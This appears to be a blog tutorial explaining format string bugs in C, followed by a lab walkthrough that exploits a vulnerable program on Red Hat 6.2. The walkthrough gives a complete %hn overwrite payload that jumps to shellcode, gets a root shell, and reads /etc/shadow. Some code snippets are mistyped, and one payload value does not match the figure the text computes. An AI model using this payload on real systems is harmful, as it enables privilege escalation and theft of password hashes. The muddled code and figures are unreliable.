What is Format string attack?
Before we explain the Format String Attack, we need to know what the format string bug is.
Format String bug is the one of the most common vulnerability in programs c.
Format string bug is a bug that occurs when format stringprintf(%d, %s)
used in the printf()
function is used in the wrong form.
<Vulnerable code>
#include <stdio.h>int main(int argc, char **argv){printf(argv[1]);}
<Safe code>
#include <stdio.h>int main(int argc, char **argv){printf("%s", argv[1]);}
This is because the computer recognizes the input value as a formatting character rather than a character.
Format String Attack generates an error when a developer accidentally write a printf()
code without a variable, And hacker can use this error to steal the root.
Two Vulnerabilities used in Format string attack
- If there is no format string factor after last entered format string, in terms of stack, from the time the printf() function is called, printf() consider in order from the stack top’s content as printf()’s factors.
- These format string store the number of bytes printed by printf() to int type pointer.
%n
store as 4bytes and%hn
store as 2bytes.
So if we give proper values in front of%n
/%hn
, %n%hn
would consider that value as address and store the number of bytes printed at the corresponding address on the memory.
How can we prevent format string attack?
There are several prevention methods that we can use:
- Always specify a format string as part of program, not as an input.
- If possible, make the format string a constant. Extract all the variable parts as other arguments to the call.
- Use defenses such as Format_Guard . Rare at design time.
- Steadily to the patch system. The kernel development and security settings are more about SetUID and complement these vulnerabilities
- Normal use of the printf function like below does not cause any problems.
printf("%s\n", buffer);
- A format string attack vulnerability that should not be used in response to a format string attack is as follows:
#1
fp= fopen(*/dev/null", "w");
fprint(fp, "decimal=%d octal%o", 123,123);
The fprintf
function differs from the printf
function because it does not output the results to a standard output, but to a file. In the example, fp is the pointer value for the file.
#2
sprint(a, "decimal= %d octal= %o", 123,123);
print("%s", a);
The sprintf()
function also outputs the result as a string rather than as a standard output, which differs from the printf()
function.
Now, let’s attack system and get root permission using Format String Attack.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
<Practice environment>
- eggshell.c
2. format_bugfile.c
3. Red hat 6.2
※ Recent version of Linux has many security tools so not suitable for studying and practicing the basic problems and methods of attack in system security. You can download Red hat 6.2 iso file in here.
ftp://archive.download.redhat.com/pub/redhat/linux/6.2/en/iso/i386/redhat-6.2-i386.iso
1. Compile and execute format_bugfile.c & eggshell.c
Look at this simple bug code.
// format_bugfile.c#include <stdio.h>main(){int i =0;
char buf[64];
memset(buf, 0, 64);
read(0, buf, 64);
printf(buf);}
At first, make 64byte string and initialize corresponding memory. And then type input about string, finally print out using printf()
function. int =0
is just used for checking when examining the contend of stack.
// eggshell.c
// We posted eggshell.c source at the bottom of the post.
Compile format_bugfile and eggshell in user mode, because gdb is only for user mode. eggshell is for float attack shell. And then execute format_bugfile , type AAAAAA and check the printf output.
$ gcc -o format_bugfile format_bugfile.c$ gcc -o eggshell eggshell.c$./format_bugfileAAAAAA
2. Check the ret value.
Type the AAAAAA and several %x as input. We would check that the value of AAAAAA is entered into stack as the result. This is because %x format string element is directly passed to printf function and printf function prints the contents of stack by four bytes in hexadecimal.
This output means the value about stack structure.
① Input string AAAAAA is printed out.
② ASCII value of input AAAAA’s front part, 41
③ ASCII value of input AA’s back part
④ 0 is stored for check point int i= 0
⑤ stored value of ebs value (sfp) of this function
⑥ value of ret in main function.
ret means return address, which is the memory address where the next command to run would be located. If we overwrite this return part with some memory address that contains the desired command, we could perform the desired command. So we tried to overwrite this part with the address value of eggshell.
Rest values are created by memset() function and meaningless.
3. Check main’s ret address using gdb and grant permission to format_bugfile
We also should check this memory’s ret address to be attacked using gdb.
$ gdb format_bugfiledisass main
Make break point to check sfp and ret
We can check ret value and it’s same with ⑥
So we get to know that the ret address is 0xbffff16c.
After using gdb, then give permission to format_bugfile. Because in root mode, gdb wouldn’t be used.
Thus, based on the processes so far, the structure of the stack to be attacked is as follows:
4. Check eggshell’s address.
Execute eggshell on memory and we could check the eggshell’s address .
5. Conduct Format String attack
Type 0xbffff148 from eggshell to ret address (0xbffff16c ~ 0xbffff16e) of format_bugfile main’s ret.
1)The system cannot immediately recognize large numbers such as address values. So we should split eggshell’s address using %hn. Split 4byte unit address in two 2byte units like this.
0xbffff148 -> 0xbfff/ 0xf148
2) Then convert these two hexadecimal numbers to decimal. In front of the hexadecimal, there is the hidden 1 if number is positive. Therefore, the front part is converted to decimal number after attaching 1 in front like this
1bfff ->114687
f148 ->64344
3) Before meeting format string, to print 16 bytes to get some spaces, we should -16 and AAAA can be printed in the desired location
64344–16=64328
4) 64328 bytes is already printed out, so 114687–64328 bytes space should be prepared.
114687–64328= 50359
Now we can finish attack code!
$(printf "\x41\x41\x41\x41\x6c\xf1\xff\xbf\x41\x41\x41\x41\x6e\xf1\xff\xbf%%64328d%%hn%%50343d%%hn%%";cat) | ./format_bugfile
After the screen has gone down for a long time, only prompt is blinking. Press enter key several times and type these commands.
You would succeed in gain root id so UID’s output would be printed out as 0 and there’s no problem when reading /etc/shadow file.
idcat /etc/shadow